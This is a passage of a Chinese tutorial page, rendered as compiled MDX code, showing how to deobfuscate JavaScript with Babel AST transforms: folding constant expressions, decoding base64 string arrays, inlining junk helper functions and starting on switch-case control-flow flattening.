\u503c\u4e3a\u5047\uff0c\u5219\u66ff\u6362\u6210 ",(0,t.jsx)(e.code,{children:"alternate"})," \u8282\u70b9\u4e0b\u7684\u5185\u5bb9\uff0c\u5373 ",(0,t.jsx)(e.code,{children:"path.node.alternate.body"}),"\uff1b"]}),"\n",(0,t.jsxs)(e.li,{children:["\u6709\u7684 if \u8bed\u53e5\u53ef\u80fd\u6ca1\u6709\u5199 else\uff0c\u4e5f\u5c31\u6ca1\u6709 ",(0,t.jsx)(e.code,{children:"alternate"}),"\uff0c\u6240\u4ee5\u8fd9\u79cd\u60c5\u51b5\u4e0b\u5224\u65ad ",(0,t.jsx)(e.code,{children:"value"})," \u503c\u4e3a\u5047\uff0c\u5219\u76f4\u63a5\u79fb\u9664\u8be5\u8282\u70b9\uff0c\u5373 ",(0,t.jsx)(e.code,{children:"path.remove()"})]}),"\n"]}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-javascript",children:'const parser = require("@babel/parser");\n\nconst generate = require("@babel/generator").default\n\nconst traverse = require("@babel/traverse").default\n\nconst types = require(\'@babel/types\');\n\n\n\nconst code = `\n\nconst example = function () {\n\n let a;\n\n if (false) {\n\n a = 1;\n\n } else {\n\n if (1) {\n\n a = 2;\n\n }\n\n else {\n\n a = 3;\n\n }\n\n }\n\n return a;\n\n};\n\n`\n\nconst ast = parser.parse(code)\n\n\n\nconst visitor = {\n\n enter(path) {\n\n if (types.isBooleanLiteral(path.node.test) || types.isNumericLiteral(path.node.test)) {\n\n if (path.node.test.value) {\n\n path.replaceInline(path.node.consequent.body);\n\n } else {\n\n if (path.node.alternate) {\n\n path.replaceInline(path.node.alternate.body);\n\n } else {\n\n path.remove()\n\n }\n\n }\n\n }\n\n }\n\n}\n\n\n\ntraverse(ast, visitor)\n\nconst result = generate(ast)\n\nconsole.log(result.code)\n'})}),"\n",(0,t.jsx)(e.p,{children:"\u5904\u7406\u7ed3\u679c\uff1a"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-javascript",children:"const example = function () {\n\n let a;\n\n a = 2;\n\n return a;\n\n};\n"})}),"\n",(0,t.jsx)(e.h3,{id:"\u82b1\u6307\u4ee4\u8f6c\u4e8c\u9879\u5f0f",children:"\u82b1\u6307\u4ee4\u8f6c\u4e8c\u9879\u5f0f"}),"\n",(0,t.jsx)(e.p,{children:"\u5728\u6709\u7684\u4ee3\u7801\u4e2d\uff0c\u539f\u672c\u7684\u4e24\u9879\u5f0f\uff0c\u901a\u8fc7\u51fd\u6570\u8ba1\u7b97\uff0c\u88ab\u5c42\u5c42\u5957\u5a03\u3002\u5c31\u50cf\u4e0b\u9762\u8fd9\u6837"}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202501171647068.png-.png",alt:"img"})}),"\n",(0,t.jsx)(e.p,{children:"\u4e00\u4e2a\u7b80\u5355\u7684\u4ee3\u7801"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-javascript",children:'function double_b64_decode(sss) {\n return atob(atob(sss));\n}\n\nvar Arr = ["Ykc5bg=="];\n\nfunction _wYQm(j, k) {\n return j - k;\n}\n\nfunction _sTFb(j, k) {\n return j - k;\n}\n\nfunction _rSeS(j, k) {\n return j + k;\n}\n\nfunction _EXMS(j, k) {\n return j <= k;\n}\n\nfunction \\u0064\\u0069\\u0067\\u0075\\u0069(\\u006e) {\n return \\u005f\\u0045\\u0058\\u004d\\u0053(\\u006e, (866095 ^ 871791) - (13812 ^ 20426)) ? (835770 ^ 145588) - (520846 ^ 592515) : \\u005f\\u0072\\u0053\\u0065\\u0053(\\u0064\\u0069\\u0067\\u0075\\u0069(\\u005f\\u0073\\u0054\\u0046\\u0062(\\u006e, (846611 ^ 391233) - (844466 ^ 389603))), \\u0064\\u0069\\u0067\\u0075\\u0069(\\u005f\\u0077\\u0059\\u0051\\u006d(\\u006e, (372786 ^ 381554) - (538795 ^ 547477))));\n}\n\n\\u0063\\u006f\\u006e\\u0073\\u006f\\u006c\\u0065[\\u0064\\u006f\\u0075\\u0062\\u006c\\u0065\\u005f\\u0062\\u0036\\u0034\\u005f\\u0064\\u0065\\u0063\\u006f\\u0064\\u0065(\\u0041\\u0072\\u0072[(812069 ^ 947940) - (417221 ^ 282372)])](\\u0064\\u0069\\u0067\\u0075\\u0069((425420 ^ 179515) - (347329 ^ 101420)));\n\n'})}),"\n",(0,t.jsxs)(e.p,{children:["\u9996\u5148\u6211\u4eec\u9700\u8981\u5bf9",(0,t.jsx)(e.code,{children:"\\u0065"}),"\u8f6c\u7801\uff0c\u7136\u800c\u5927\u90e8\u5206\u7f16\u8bd1\u5668\u81ea\u52a8\u5e2e\u4f60\u5904\u7406\u8fd9\u4e2a",(0,t.jsx)(e.code,{children:"unicode"}),"\u6240\u4ee5\uff0c\u4f60\u53ea\u9700\u8981\u62ff\u53bb\u8dd1\u4e00\u904d\uff0c\u4e0d\u9700\u8981\u505a\u4efb\u4f55\u64cd\u4f5c\u3002"]}),"\n",(0,t.jsx)(e.p,{children:"\u5f97\u5230\u4ee5\u4e0b\u4ee3\u7801"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-javascript",children:'function double_b64_decode(sss) {\n return atob(atob(sss));\n}\nvar Arr = ["Ykc5bg=="];\nfunction _wYQm(j, k) {\n return j - k;\n}\nfunction _sTFb(j, k) {\n return j - k;\n}\nfunction _rSeS(j, k) {\n return j + k;\n}\nfunction _EXMS(j, k) {\n return j <= k;\n}\nfunction digui(n) {\n return _EXMS(n, (866095 ^ 871791) - (13812 ^ 20426)) ? (835770 ^ 145588) - (520846 ^ 592515) : _rSeS(digui(_sTFb(n, (846611 ^ 391233) - (844466 ^ 389603))), digui(_wYQm(n, (372786 ^ 381554) - (538795 ^ 547477))));\n}\nconsole[double_b64_decode(Arr[(812069 ^ 947940) - (417221 ^ 282372)])](digui((425420 ^ 179515) - (347329 ^ 101420)));\n'})}),"\n",(0,t.jsxs)(e.p,{children:["\u63a5\u4e0b\u6765\u6211\u4eec\u5904\u7406\u5e38\u6570\u4e8c\u9879\u8ba1\u7b97\uff0c\u5728\u6811\u72b6\u56fe\u4e2d\uff0c\u53ef\u4ee5\u770b\u5230\u8fd9\u7c7b\u88ab\u5206\u4e3a",(0,t.jsx)(e.code,{children:"BinaryExpression"}),"\u7c7b\u578b"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202501171647069.png-.png",alt:"image-20250117102349713"})}),"\n",(0,t.jsx)(e.p,{children:"\u90a3\u4e48\u6211\u4eec\u53ea\u9700\u8981\u8ba1\u7b97\u5373\u53ef"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-javascript",children:'const fs = require(\'fs\');\nconst parser = require("@babel/parser");\nconst traverse = require("@babel/traverse").default\nconst generate = require("@babel/generator").default\nconst types = require("@babel/types");\nconst code = `\nfunction double_b64_decode(sss){return atob(atob(sss));}var Arr=["Ykc5bg=="];function _wYQm(j,k){return j-k;}function _sTFb(j,k){return j-k;}function _rSeS(j,k){return j+k;}function _EXMS(j,k){return j<=k;}function \\u0064\\u0069\\u0067\\u0075\\u0069(\\u006e){return \\u005f\\u0045\\u0058\\u004d\\u0053(\\u006e,(866095^871791)-(13812^20426))?(835770^145588)-(520846^592515):\\u005f\\u0072\\u0053\\u0065\\u0053(\\u0064\\u0069\\u0067\\u0075\\u0069(\\u005f\\u0073\\u0054\\u0046\\u0062(\\u006e,(846611^391233)-(844466^389603))),\\u0064\\u0069\\u0067\\u0075\\u0069(\\u005f\\u0077\\u0059\\u0051\\u006d(\\u006e,(372786^381554)-(538795^547477))));}\\u0063\\u006f\\u006e\\u0073\\u006f\\u006c\\u0065[\\u0064\\u006f\\u0075\\u0062\\u006c\\u0065\\u005f\\u0062\\u0036\\u0034\\u005f\\u0064\\u0065\\u0063\\u006f\\u0064\\u0065(\\u0041\\u0072\\u0072[(812069^947940)-(417221^282372)])](\\u0064\\u0069\\u0067\\u0075\\u0069((425420^179515)-(347329^101420)));\n`;\nconst ast = parser.parse(code, )\nconst visitor = {\n\n BinaryExpression(path) {\n const {confident, value} = path.evaluate();\n if (confident) {\n path.replaceInline(types.valueToNode(value));\n }\n },\n\n}\ntraverse(ast, visitor);\nconst result = generate(ast);\nconsole.log(result.code);\n// output: \n// function double_b64_decode(sss) {\n// return atob(atob(sss));\n// }\n// var Arr = ["Ykc5bg=="];\n// function _wYQm(j, k) {\n// return j - k;\n// }\n// function _sTFb(j, k) {\n// return j - k;\n// }\n// function _rSeS(j, k) {\n// return j + k;\n// }\n// function _EXMS(j, k) {\n// return j <= k;\n// }\n// function digui(n) {\n// return _EXMS(n, 2) ? 1 : _rSeS(digui(_sTFb(n, 1)), digui(_wYQm(n, 2)));\n// }\n// console[double_b64_decode(Arr[0])](digui(10));\n'})}),"\n",(0,t.jsxs)(e.p,{children:["\u53ef\u4ee5\u770b\u5230\u6709\u4e2a",(0,t.jsx)(e.code,{children:"double_b64_decode"})," \u51fd\u6570\u5bf9",(0,t.jsx)(e.code,{children:"Arr[0]"}),"\u8fdb\u884c\u4e86\u5904\u7406\uff0c\u90a3\u4e48\u6211\u4eec\u9700\u8981\u5bf9\u8fd9\u4e2a",(0,t.jsx)(e.code,{children:"CallExpression"}),"\u66ff\u6362\u6210",(0,t.jsx)(e.code,{children:"double_b64_decode(Arr[0])"}),"\u8ba1\u7b97\u51fa\u7684\u5b57\u7b26\u4e32"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202501171647070.png-.png",alt:"image-20250117103330075"})}),"\n",(0,t.jsxs)(e.p,{children:["\u7136\u800c\u8fd9\u91cc\u6709\u96be\u70b9\u5c31\u662f\uff0c\u8fdb\u5165",(0,t.jsx)(e.code,{children:"CallExpression"}),"\u65f6\uff0c",(0,t.jsx)(e.code,{children:"BinaryExpression"}),"\u7c7b\u578b\u8fd8\u6ca1\u6709\u8ba1\u7b97."]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202501171647071.png-.png",alt:"image-20250117104929238"})}),"\n",(0,t.jsx)(e.p,{children:"\u4e3a\u6b64\u6211\u4eec\u6709\u4e24\u79cd\u65b9\u6cd5\uff0c"}),"\n",(0,t.jsxs)(e.ul,{children:["\n",(0,t.jsx)(e.li,{children:"\u7b2c\u4e00\u79cd\uff1a\u4f7f\u7528enter\u5728\u6240\u6709\u8282\u70b9\u8fdb\u5165\u524d\uff0c\u5bf9BinaryExpression\u8fdb\u884c\u8ba1\u7b97"}),"\n",(0,t.jsxs)(e.li,{children:["\u7b2c\u4e8c\u79cd\uff0c\u5206\u6279\u6b21\u8fdb\u884c\u8ba1\u7b97\uff08\u5bf9\u751f\u6210\u7684\u4ee3\u7801\u591a\u5199\u51e0\u6b21",(0,t.jsx)(e.code,{children:"traverse(ast, visitor);"}),"\uff09"]}),"\n"]}),"\n",(0,t.jsxs)(e.p,{children:["\u8fd9\u91cc\u6211\u4eec\u91c7\u7528\u7b2c\u7b2c\u4e8c\u79cd\uff0c\u5206\u9636\u6bb5\u8fd0\u884c\u3002\u5728\u7b2c\u4e00\u9636\u6bb5\u7684\u4ee3\u7801\u4e0b\u9762\u65b0\u589e\u5904\u7406",(0,t.jsx)(e.code,{children:"CallExpression"}),"\u7684\u903b\u8f91"]}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-javascript",children:'const fs = require(\'fs\');\nconst parser = require("@babel/parser");\nconst traverse = require("@babel/traverse").default\nconst generate = require("@babel/generator").default\nconst types = require("@babel/types");\nconst code = `\nfunction double_b64_decode(sss){return atob(atob(sss));}var Arr=["Ykc5bg=="];function _wYQm(j,k){return j-k;}function _sTFb(j,k){return j-k;}function _rSeS(j,k){return j+k;}function _EXMS(j,k){return j<=k;}function \\u0064\\u0069\\u0067\\u0075\\u0069(\\u006e){return \\u005f\\u0045\\u0058\\u004d\\u0053(\\u006e,(866095^871791)-(13812^20426))?(835770^145588)-(520846^592515):\\u005f\\u0072\\u0053\\u0065\\u0053(\\u0064\\u0069\\u0067\\u0075\\u0069(\\u005f\\u0073\\u0054\\u0046\\u0062(\\u006e,(846611^391233)-(844466^389603))),\\u0064\\u0069\\u0067\\u0075\\u0069(\\u005f\\u0077\\u0059\\u0051\\u006d(\\u006e,(372786^381554)-(538795^547477))));}\\u0063\\u006f\\u006e\\u0073\\u006f\\u006c\\u0065[\\u0064\\u006f\\u0075\\u0062\\u006c\\u0065\\u005f\\u0062\\u0036\\u0034\\u005f\\u0064\\u0065\\u0063\\u006f\\u0064\\u0065(\\u0041\\u0072\\u0072[(812069^947940)-(417221^282372)])](\\u0064\\u0069\\u0067\\u0075\\u0069((425420^179515)-(347329^101420)));\n`;\n\n// \u7b2c\u4e00\u9636\u6bb5\uff1a\u8ba1\u7b97 \u53ef\u6267\u884c\u7684\u4e8c\u9879\u5f0f\nconst ast = parser.parse(code, )\ntraverse(ast, {\n BinaryExpression(path) {\n const { confident, value } = path.evaluate();\n if (confident) {\n path.replaceInline(types.valueToNode(value));\n }\n },\n});\n// \u7b2c\u4e8c\u9636\u6bb5\uff1a\u5220\u9664 double_b64_decode \u51fd\u6570 \u5e76\u66ff\u6362\u6210 \u5bf9\u5e94\u7684\u503c\ntraverse(ast, {\n CallExpression(path){\n const callee = path.node.callee.name;\n\n if (callee === \'double_b64_decode\') {\n const functionBind = path.scope.getBinding(path.node.callee.name);\n const arrayBind = path.scope.getBinding(path.node.arguments[0].object.name);\n const arrayNum = path.node.arguments[0].property.value;\n const init = arrayBind.path.node.init;\n\n let value = init.elements[arrayNum].value;\n\n // \u83b7\u53d6\u51fd\u6570\u4f53\u4ee3\u7801\n const functionCode = generate(functionBind.path.node).code;\n const decodedFunction = new Function(`return (${functionCode})`)();\n\n value = decodedFunction(value);\n let node = types.valueToNode(value);\n path.replaceInline(types.valueToNode(value));\n functionBind.path.remove();\n arrayBind.path.remove();\n }\n }\n});\nconst result = generate(ast);\nconsole.log(result.code);\n\n'})}),"\n",(0,t.jsx)(e.p,{children:"\u7ed3\u679c"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-javascript",children:'function _wYQm(j, k) {\n return j - k;\n}\nfunction _sTFb(j, k) {\n return j - k;\n}\nfunction _rSeS(j, k) {\n return j + k;\n}\nfunction _EXMS(j, k) {\n return j <= k;\n}\nfunction digui(n) {\n return _EXMS(n, 2) ? 1 : _rSeS(digui(_sTFb(n, 1)), digui(_wYQm(n, 2)));\n}\nconsole["log"](digui(10));\n'})}),"\n",(0,t.jsx)(e.p,{children:"\u7b2c\u4e09\u9636\u6bb5\uff0c\u5904\u7406\u4e00\u4e0b\u5bf9\u8c61\u8bbf\u95ee\u65b9\u5f0f"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-javascript",children:'const fs = require(\'fs\');\nconst parser = require("@babel/parser");\nconst traverse = require("@babel/traverse").default\nconst generate = require("@babel/generator").default\nconst types = require("@babel/types");\nconst code = `\nfunction double_b64_decode(sss){return atob(atob(sss));}var Arr=["Ykc5bg=="];function _wYQm(j,k){return j-k;}function _sTFb(j,k){return j-k;}function _rSeS(j,k){return j+k;}function _EXMS(j,k){return j<=k;}function \\u0064\\u0069\\u0067\\u0075\\u0069(\\u006e){return \\u005f\\u0045\\u0058\\u004d\\u0053(\\u006e,(866095^871791)-(13812^20426))?(835770^145588)-(520846^592515):\\u005f\\u0072\\u0053\\u0065\\u0053(\\u0064\\u0069\\u0067\\u0075\\u0069(\\u005f\\u0073\\u0054\\u0046\\u0062(\\u006e,(846611^391233)-(844466^389603))),\\u0064\\u0069\\u0067\\u0075\\u0069(\\u005f\\u0077\\u0059\\u0051\\u006d(\\u006e,(372786^381554)-(538795^547477))));}\\u0063\\u006f\\u006e\\u0073\\u006f\\u006c\\u0065[\\u0064\\u006f\\u0075\\u0062\\u006c\\u0065\\u005f\\u0062\\u0036\\u0034\\u005f\\u0064\\u0065\\u0063\\u006f\\u0064\\u0065(\\u0041\\u0072\\u0072[(812069^947940)-(417221^282372)])](\\u0064\\u0069\\u0067\\u0075\\u0069((425420^179515)-(347329^101420)));\n`;\n\n// \u7b2c\u4e00\u9636\u6bb5\uff1a\u8ba1\u7b97 \u53ef\u6267\u884c\u7684\u4e8c\u9879\u5f0f\nconst ast = parser.parse(code, )\ntraverse(ast, {\n BinaryExpression(path) {\n const { confident, value } = path.evaluate();\n if (confident) {\n path.replaceInline(types.valueToNode(value));\n }\n },\n});\n// \u7b2c\u4e8c\u9636\u6bb5\uff1a\u5220\u9664 double_b64_decode \u51fd\u6570 \u5e76\u66ff\u6362\u6210 \u5bf9\u5e94\u7684\u503c\ntraverse(ast, {\n CallExpression(path){\n const callee = path.node.callee.name;\n\n if (callee === \'double_b64_decode\') {\n const functionBind = path.scope.getBinding(path.node.callee.name);\n const arrayBind = path.scope.getBinding(path.node.arguments[0].object.name);\n const arrayNum = path.node.arguments[0].property.value;\n const init = arrayBind.path.node.init;\n\n let value = init.elements[arrayNum].value;\n\n // \u83b7\u53d6\u51fd\u6570\u4f53\u4ee3\u7801\n const functionCode = generate(functionBind.path.node).code;\n const decodedFunction = new Function(`return (${functionCode})`)();\n\n value = decodedFunction(value);\n let node = types.valueToNode(value);\n path.replaceInline(types.valueToNode(value));\n functionBind.path.remove();\n arrayBind.path.remove();\n }\n }\n});\n\n// \u7b2c\u4e09\u9636\u6bb5\uff1a\u5904\u7406\u5bf9\u8c61\u8bbf\u95ee\u65b9\u5f0f\ntraverse(ast, {\n MemberExpression(path){\n if(path.node.computed){\n path.node.computed = false\n const name = path.node.property.value\n path.node.property = types.identifier(name);\n\n }\n }\n})\n\n\n\n\nconst result = generate(ast);\nconsole.log(result.code);\n\n'})}),"\n",(0,t.jsx)(e.p,{children:"\u7b2c\u56db\u9636\u6bb5\uff0c\u5c06\u82b1\u6307\u4ee4\u51fd\u6570\u66ff\u6362\u6210\u4e8c\u9879\u5f0f"}),"\n",(0,t.jsxs)(e.p,{children:["\u4e8c\u9879\u5f0f \u6709\u4e09\u90e8\u5206\u6784\u6210",(0,t.jsx)(e.code,{children:"left"}),"\u3001",(0,t.jsx)(e.code,{children:"operator"}),"\u3001",(0,t.jsx)(e.code,{children:"right"})]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202501171647072.png-.png",alt:"image-20250117111820315"})}),"\n",(0,t.jsxs)(e.p,{children:["\u5bf9\u51fa\u73b0\u7684",(0,t.jsx)(e.code,{children:"CallExpression"}),"\u4e3a\u82b1\u6307\u4ee4\u7684\u51fd\u6570\u8fdb\u884c\u66ff\u6362"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202501171647073.png-.png",alt:"image-20250117111942151"})}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-javascript",children:'const fs = require(\'fs\');\nconst parser = require("@babel/parser");\nconst traverse = require("@babel/traverse").default\nconst generate = require("@babel/generator").default\nconst types = require("@babel/types");\nconst {binaryExpression} = require("@babel/types");\nconst code = `\nfunction double_b64_decode(sss){return atob(atob(sss));}var Arr=["Ykc5bg=="];function _wYQm(j,k){return j-k;}function _sTFb(j,k){return j-k;}function _rSeS(j,k){return j+k;}function _EXMS(j,k){return j<=k;}function \\u0064\\u0069\\u0067\\u0075\\u0069(\\u006e){return \\u005f\\u0045\\u0058\\u004d\\u0053(\\u006e,(866095^871791)-(13812^20426))?(835770^145588)-(520846^592515):\\u005f\\u0072\\u0053\\u0065\\u0053(\\u0064\\u0069\\u0067\\u0075\\u0069(\\u005f\\u0073\\u0054\\u0046\\u0062(\\u006e,(846611^391233)-(844466^389603))),\\u0064\\u0069\\u0067\\u0075\\u0069(\\u005f\\u0077\\u0059\\u0051\\u006d(\\u006e,(372786^381554)-(538795^547477))));}\\u0063\\u006f\\u006e\\u0073\\u006f\\u006c\\u0065[\\u0064\\u006f\\u0075\\u0062\\u006c\\u0065\\u005f\\u0062\\u0036\\u0034\\u005f\\u0064\\u0065\\u0063\\u006f\\u0064\\u0065(\\u0041\\u0072\\u0072[(812069^947940)-(417221^282372)])](\\u0064\\u0069\\u0067\\u0075\\u0069((425420^179515)-(347329^101420)));\n`;\n\n// \u7b2c\u4e00\u9636\u6bb5\uff1a\u8ba1\u7b97 \u53ef\u6267\u884c\u7684\u4e8c\u9879\u5f0f\nconst ast = parser.parse(code, )\ntraverse(ast, {\n BinaryExpression(path) {\n const { confident, value } = path.evaluate();\n if (confident) {\n path.replaceInline(types.valueToNode(value));\n }\n },\n});\n// \u7b2c\u4e8c\u9636\u6bb5\uff1a\u5220\u9664 double_b64_decode \u51fd\u6570 \u5e76\u66ff\u6362\u6210 \u5bf9\u5e94\u7684\u503c\ntraverse(ast, {\n CallExpression(path){\n const callee = path.node.callee.name;\n\n if (callee === \'double_b64_decode\') {\n const functionBind = path.scope.getBinding(path.node.callee.name);\n const arrayBind = path.scope.getBinding(path.node.arguments[0].object.name);\n const arrayNum = path.node.arguments[0].property.value;\n const init = arrayBind.path.node.init;\n\n let value = init.elements[arrayNum].value;\n\n // \u83b7\u53d6\u51fd\u6570\u4f53\u4ee3\u7801\n const functionCode = generate(functionBind.path.node).code;\n const decodedFunction = new Function(`return (${functionCode})`)();\n\n value = decodedFunction(value);\n let node = types.valueToNode(value);\n path.replaceInline(types.valueToNode(value));\n functionBind.path.remove();\n arrayBind.path.remove();\n }\n }\n});\n\n// \u7b2c\u4e09\u9636\u6bb5\uff1a\u5904\u7406\u5bf9\u8c61\u8bbf\u95ee\u65b9\u5f0f\ntraverse(ast, {\n MemberExpression(path){\n if(path.node.computed){\n path.node.computed = false\n const name = path.node.property.value\n path.node.property = types.identifier(name);\n\n }\n }\n})\n\n// \u7b2c\u56db\u9636\u6bb5\uff1a\u66ff\u6362\u6240\u6709\u51fa\u73b0\u7684\u82b1\u6307\u4ee4\u51fd\u6570\u8c03\u7528\uff0c\u5e76\u540c\u65f6\u51fd\u6570\u8282\u70b9\ntraverse(ast, {\n CallExpression(path) {\n const callee = path.node.callee;\n\n if (/^_/.test(callee.name)) {\n const functionName = callee.name;\n const functionBind = path.scope.getBinding(functionName);\n if (functionBind) {\n\n const left = path.node.arguments[0];\n const right = path.node.arguments[1];\n const operator = functionBind.path.node.body.body[0].argument.operator;\n const binaryExpression = types.binaryExpression(operator, left, right);\n path.replaceInline(binaryExpression);\n \n\n functionBind.path.remove();\n }\n\n }\n }\n})\n\n\nconst result = generate(ast);\nconsole.log(result.code);\n\n'})}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-javascript",children:'const fs = require(\'fs\');\nconst parser = require("@babel/parser");\nconst traverse = require("@babel/traverse").default\nconst generate = require("@babel/generator").default\nconst types = require("@babel/types");\nconst {binaryExpression} = require("@babel/types");\nconst code = `\nfunction double_b64_decode(sss){return atob(atob(sss));}var Arr=["Ykc5bg=="];function _wYQm(j,k){return j-k;}function _sTFb(j,k){return j-k;}function _rSeS(j,k){return j+k;}function _EXMS(j,k){return j<=k;}function \\u0064\\u0069\\u0067\\u0075\\u0069(\\u006e){return \\u005f\\u0045\\u0058\\u004d\\u0053(\\u006e,(866095^871791)-(13812^20426))?(835770^145588)-(520846^592515):\\u005f\\u0072\\u0053\\u0065\\u0053(\\u0064\\u0069\\u0067\\u0075\\u0069(\\u005f\\u0073\\u0054\\u0046\\u0062(\\u006e,(846611^391233)-(844466^389603))),\\u0064\\u0069\\u0067\\u0075\\u0069(\\u005f\\u0077\\u0059\\u0051\\u006d(\\u006e,(372786^381554)-(538795^547477))));}\\u0063\\u006f\\u006e\\u0073\\u006f\\u006c\\u0065[\\u0064\\u006f\\u0075\\u0062\\u006c\\u0065\\u005f\\u0062\\u0036\\u0034\\u005f\\u0064\\u0065\\u0063\\u006f\\u0064\\u0065(\\u0041\\u0072\\u0072[(812069^947940)-(417221^282372)])](\\u0064\\u0069\\u0067\\u0075\\u0069((425420^179515)-(347329^101420)));\n`;\n\n// \u7b2c\u4e00\u9636\u6bb5\uff1a\u8ba1\u7b97 \u53ef\u6267\u884c\u7684\u4e8c\u9879\u5f0f\nconst ast = parser.parse(code, )\ntraverse(ast, {\n BinaryExpression(path) {\n const { confident, value } = path.evaluate();\n if (confident) {\n path.replaceInline(types.valueToNode(value));\n }\n },\n});\n// \u7b2c\u4e8c\u9636\u6bb5\uff1a\u5220\u9664 double_b64_decode \u51fd\u6570 \u5e76\u66ff\u6362\u6210 \u5bf9\u5e94\u7684\u503c\ntraverse(ast, {\n CallExpression(path){\n const callee = path.node.callee.name;\n\n if (callee === \'double_b64_decode\') {\n const functionBind = path.scope.getBinding(path.node.callee.name);\n const arrayBind = path.scope.getBinding(path.node.arguments[0].object.name);\n const arrayNum = path.node.arguments[0].property.value;\n const init = arrayBind.path.node.init;\n\n let value = init.elements[arrayNum].value;\n\n // \u83b7\u53d6\u51fd\u6570\u4f53\u4ee3\u7801\n const functionCode = generate(functionBind.path.node).code;\n const decodedFunction = new Function(`return (${functionCode})`)();\n\n value = decodedFunction(value);\n let node = types.valueToNode(value);\n path.replaceInline(types.valueToNode(value));\n functionBind.path.remove();\n arrayBind.path.remove();\n }\n }\n});\n\n// \u7b2c\u4e09\u9636\u6bb5\uff1a\u5904\u7406\u5bf9\u8c61\u8bbf\u95ee\u65b9\u5f0f\ntraverse(ast, {\n MemberExpression(path){\n if(path.node.computed){\n path.node.computed = false\n const name = path.node.property.value\n path.node.property = types.identifier(name);\n\n }\n }\n})\n\n// \u7b2c\u56db\u9636\u6bb5\uff1a\u66ff\u6362\u6240\u6709\u51fa\u73b0\u7684\u82b1\u6307\u4ee4\u51fd\u6570\u8c03\u7528\uff0c\u5e76\u540c\u65f6\u51fd\u6570\u8282\u70b9\ntraverse(ast, {\n CallExpression(path) {\n const callee = path.node.callee;\n\n if (/^_/.test(callee.name)) {\n const functionName = callee.name;\n const functionBind = path.scope.getBinding(functionName);\n if (functionBind) {\n\n const left = path.node.arguments[0];\n const right = path.node.arguments[1];\n const operator = functionBind.path.node.body.body[0].argument.operator;\n const binaryExpression = types.binaryExpression(operator, left, right);\n path.replaceInline(binaryExpression);\n \n\n functionBind.path.remove();\n }\n\n }\n }\n})\n\n\nconst result = generate(ast);\nconsole.log(result.code);\n\n'})}),"\n",(0,t.jsx)(e.h3,{id:"switch-case-\u63a7\u5236\u6d41\u5e73\u5766\u5316",children:"switch-case \u63a7\u5236\u6d41\u5e73\u5766\u5316"}),"\n",(0,t.jsxs)(e.p,{children:["\u63a7\u5236\u6d41\u5e73\u5766\u5316\u662f\u6df7\u6dc6\u5f53\u4e2d\u6700\u5e38\u89c1\u7684\uff0c\u901a\u8fc7 ",(0,t.jsx)(e.code,{children:"if-else"})," \u6216\u8005 ",(0,t.jsx)(e.code,{children:"while-switch-case"})," \u8bed\u53e5\u5206\u89e3\u6b65\u9aa4\uff0c\u793a\u4f8b\u4ee3\u7801\uff1a"]}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-javascript",children:'const CryptoJS = require(\'crypto-js\');\n\n// AES \u52a0\u5bc6\u51fd\u6570\nfunction aesEncrypt(data) {\n let key = CryptoJS.enc.Utf8.parse("1234567890123456");\n let iv = CryptoJS.enc.Utf8.parse("1234567890123456");\n let lineOrder = ["5", "8", "9", "2", \'0\', "6", "10", "1", "7", "4", "3"];\n let lineIndex = 0;\n while (true) {\n switch (lineOrder[lineIndex]) {\n case "5":\n key = CryptoJS.enc.Utf8.parse(\'1234567890123456\');\n \n \n case "8":\n key = CryptoJS.lib.WordArray.random(16);\n \n case "9":\n key = CryptoJS.enc.Utf8.parse(\'454583r342342445\');\n \n \n case "2":\n key = CryptoJS.enc.Utf8.parse(\'cdscddde3wfdedww\');\n case "0":\n iv = CryptoJS.lib.WordArray.random(16);\n case "6":\n iv = CryptoJS.enc.Utf8.parse(\'1234567890123456\');\n \n \n case "10":\n iv = CryptoJS.enc.Utf8.parse(\'454583r342342445\');\n \n \n case "1":\n iv = CryptoJS.lib.WordArray.random(16);\n case "7":\n iv = CryptoJS.enc.Utf8.parse(\'cdscddde3wfdedww\');\n case "4":\n const encryptedData = CryptoJS.AES.encrypt(data, key, {\n iv: iv,\n mode: CryptoJS.mode.CBC,\n padding: CryptoJS.pad.Pkcs7\n });\n case "3":\n return {\n encryptedData: encryptedData.toString(),\n key: key.toString(),\n iv: iv.toString()\n };\n }\n lineIndex++;\n }\n}\nconsole.log(aesEncrypt(\'1234567890123456\'));\n'})}),"\n",(0,t.jsx)(e.p,{children:"AST \u8fd8\u539f\u601d\u8def\uff1a"}),"\n",(0,t.jsxs)(e.ol,{children:["\n",(0,t.jsxs)(e.li,{children:["\u83b7\u53d6\u63a7\u5236\u6d41\u539f\u59cb\u6570\u7ec4\uff0c\u5c06 ",(0,t.jsx)(e.code,{children:"'3,4,0,5,1,2'['split'](',')"})," \u4e4b\u7c7b\u7684\u8bed\u53e5\u8f6c\u5316\u6210 ",(0,t.jsx)(e.code,{children:"['3','4','0','5','1','2']"})," \u4e4b\u7c7b\u7684\u6570\u7ec4\uff0c\u5f97\u5230\u8be5\u6570\u7ec4\u4e4b\u540e\uff0c\u4e5f\u53ef\u4ee5\u9009\u62e9\u628a split 